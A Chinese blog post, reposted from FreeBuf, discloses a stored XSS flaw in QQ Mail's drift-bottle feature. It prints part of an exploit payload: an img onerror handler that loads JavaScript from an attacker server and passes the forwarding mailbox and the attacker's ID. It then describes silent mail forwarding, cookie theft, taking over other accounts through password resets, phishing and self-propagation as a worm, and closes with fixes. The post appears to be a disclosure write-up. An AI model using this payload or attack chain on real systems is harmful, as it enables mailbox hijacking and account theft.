不是每一个QQ漂流瓶飘来的都是愿望,它或许是XSS!

/ 19评 / 0

frOm:FreebuF

一只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!

漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?

1. 漏洞成因:
漂流瓶某处参数过滤不当,导致存储型XSS。

具体测试过程:

1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。
1.2 定位到发送的漂流上,F12打开调试工具看代码。

1.3 同时查看抓包的代码,可以看到相同内容。

1.4 进而进行字符测试,测试使用u0022u003E时,发生侧漏

1.5 说明这里对反斜线的过滤存在问题。

1.6 进一步构造我们的利用代码。下面仅贴出部分源码。

请求时的利用代码
var serv="恶意外部JS文件所在服务器";
var mail2rec="接受转发的邮箱";
var mailUin="发送恶意漂流瓶的Hacker QQ";
var evil_code="voice_21121721212136.mp3u0022u003eu003cimg src=1 onerror=u0022loadJSSrc(u0027"+serv+"?u="+mail2rec+"u0026i="+mailUin+"u0027);this.style.display=u0027noneu0027u0022u003eu003cb a=u0022";

进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码

@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt

代码中,所用到的pkav Object(见http://itsokla.duapp.com/pkav.js

2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。

邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。

3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。

4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。

5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~

6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。

7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!

8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):

那么我们如果利用百度的密码找回功能。

可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。

10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。

11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。

12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。

13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

修复方法:

1. 修复XSS问题。

2. 建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!

3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!

《 “不是每一个QQ漂流瓶飘来的都是愿望,它或许是XSS!” 》 有 19 条评论

  1. 晨曦的记忆说道:

    怎么图些都不显示了

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注